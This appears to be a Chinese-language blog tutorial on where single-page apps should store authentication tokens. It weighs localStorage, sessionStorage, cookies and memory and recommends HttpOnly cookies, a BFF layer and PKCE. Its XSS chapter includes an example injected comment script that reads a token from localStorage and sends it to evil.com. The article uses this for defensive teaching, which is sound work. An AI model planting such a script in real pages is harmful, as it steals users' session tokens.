SPA认证的困境:为什么前端存Token这么危险?

SPA认证的困境:为什么前端存Token这么危险?

SPA认证

引言:前端开发者的噩梦

如果你是前端开发者,一定遇到过这个问题:

我的Token应该存在哪里?

  • localStorage?
  • sessionStorage?
  • Cookie?
  • 内存?

每个选项都有问题,每个选项都不完美。

今天,我用白话讲讲SPA认证的困境,以及为什么这个问题这么难解决。

第一章:SPA是什么?

一句话解释

SPA(Single Page Application)就是:整个网站只有一个页面,内容动态加载。

生活中的例子

传统网站(MPA)

  • 就像一本书,每页都有独立内容
  • 翻页 = 跳转新页面
  • 每次翻页都要重新加载

单页应用(SPA)

  • 就像一个动态屏幕,内容随时变化
  • 翻页 = 动态更新内容
  • 不需要重新加载整个页面

常见的SPA框架

  • React
  • Vue
  • Angular
  • Svelte

第二章:SPA认证的困境

传统网站的认证

传统网站(MPA)

1
2
用户登录 → 服务器创建Session → 返回Session ID(Cookie)
每次请求 → 浏览器自动带上Cookie → 服务器验证Session

安全性

  • Cookie是HttpOnly的,JavaScript无法访问
  • Session存储在服务端,安全
  • 浏览器自动管理Cookie

SPA的认证问题

SPA的困境

1
2
用户登录 → 前端获取Token → 存储在哪里?
每次请求 → 前端手动带上Token → 如何安全存储?

问题

  • 前端需要存储Token
  • 前端需要发送Token
  • 如何安全地做到这两点?

第三章:Token存储的几种方案

Token存储

方案一:localStorage

存储方式

1
2
3
4
5
// 存储
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...')

// 读取
const token = localStorage.getItem('token')

优点

  • 简单易用
  • 持久化存储
  • 不会随请求发送

缺点

  • 容易被XSS攻击窃取
  • 任何JavaScript都能访问
  • 无法设置HttpOnly

安全性:❌ 不推荐

方案二:sessionStorage

存储方式

1
2
3
4
5
// 存储
sessionStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...')

// 读取
const token = sessionStorage.getItem('token')

优点

  • 会话级别,关闭标签页就清除
  • 比localStorage稍安全

缺点

  • 仍然容易被XSS攻击窃取
  • 任何JavaScript都能访问
  • 无法设置HttpOnly

安全性:❌ 不推荐

方案三:Cookie

存储方式

1
2
3
4
5
// 存储(需要后端设置)
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; HttpOnly; Secure; SameSite=Strict

// 读取(JavaScript无法访问HttpOnly Cookie)
// 浏览器自动发送

优点

  • 可以设置HttpOnly,JavaScript无法访问
  • 浏览器自动发送
  • 可以设置Secure和SameSite

缺点

  • CSRF攻击风险
  • 需要后端配合
  • 跨域配置复杂

安全性:⚠️ 需要配合CSRF防护

方案四:内存

存储方式

1
2
3
4
5
// 存储
let token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'

// 读取
const currentToken = token

优点

  • 最安全,XSS无法直接窃取
  • 刷新页面就清除

缺点

  • 刷新页面需要重新登录
  • 无法持久化
  • 用户体验差

安全性:✅ 最安全,但用户体验差

第四章:XSS攻击的威胁

XSS攻击

什么是XSS?

XSS(跨站脚本攻击):攻击者在你的网站上注入恶意JavaScript代码。

攻击方式

场景

  1. 攻击者在评论区注入恶意脚本
  2. 其他用户浏览评论
  3. 恶意脚本执行
  4. 窃取用户的Token

代码示例

1
2
3
4
5
6
7
8
<!-- 攻击者在评论区注入 -->
<script>
// 窃取localStorage中的Token
const token = localStorage.getItem('token')

// 发送到攻击者服务器
fetch('https://evil.com/steal?token=' + token)
</script>

为什么localStorage不安全?

1
2
3
4
// 任何JavaScript都能访问localStorage
const token = localStorage.getItem('token')

// 如果页面被XSS攻击,Token就被窃取了

为什么Cookie更安全?

1
2
3
4
// HttpOnly Cookie,JavaScript无法访问
document.cookie // 无法获取HttpOnly Cookie

// XSS攻击无法窃取Token

第五章:解决方案

原理:将Token存储在HttpOnly Cookie中,JavaScript无法访问。

实现

1
2
3
4
5
6
7
8
# 后端设置Cookie
response.set_cookie(
'access_token',
token,
httponly=True, # JavaScript无法访问
secure=True, # 只在HTTPS下发送
samesite='Strict' # 防止CSRF
)

优点

  • 防止XSS攻击
  • 浏览器自动发送
  • 安全性高

缺点

  • 需要后端配合
  • CSRF风险
  • 跨域配置复杂

方案二:使用BFF模式

原理:在前端和后端之间添加一个中间层,处理认证逻辑。

架构

1
2
3
SPA → BFF(后端) → 认证服务器

SPA ← BFF ← 认证服务器

优点

  • 前端不需要处理Token
  • 安全性高
  • 跨域友好

缺点

  • 需要额外的后端服务
  • 架构复杂

方案三:使用PKCE

原理:使用授权码流程 + PKCE,防止授权码被拦截。

流程

1
2
3
4
5
SPA → 生成随机码验证器
→ 计算挑战码
→ 发送授权请求(包含挑战码)
→ 获取授权码
→ 用授权码 + 验证器换Token

优点

  • 不需要客户端密钥
  • 防止授权码拦截
  • 适合公开客户端

缺点

  • 需要授权服务器支持
  • 实现复杂

第六章:最佳实践

推荐方案

场景 推荐方案 原因
简单SPA HttpOnly Cookie 简单、安全
复杂SPA BFF + Cookie 安全、灵活
第三方登录 PKCE 标准、安全
微服务 JWT + BFF 扩展性好

安全清单

  • 不要使用localStorage存储Token
  • 使用HttpOnly Cookie存储敏感信息
  • 启用HTTPS
  • 实施CSP(内容安全策略)
  • 防止XSS攻击
  • 防止CSRF攻击
  • 定期轮换Token

总结

核心要点

  1. localStorage不安全:容易被XSS攻击窃取
  2. HttpOnly Cookie更安全:JavaScript无法访问
  3. BFF模式最佳:前端不处理Token
  4. PKCE适合公开客户端:防止授权码拦截

给前端开发者的建议

  • 不要在前端存储敏感Token
  • 使用HttpOnly Cookie
  • 实施CSP防止XSS
  • 考虑使用BFF模式

给后端开发者的建议

  • 设置HttpOnly Cookie
  • 实施CSRF防护
  • 使用HTTPS
  • 考虑使用BFF模式

SPA认证的困境没有完美解决方案,但通过合理架构,可以最大限度地保证安全。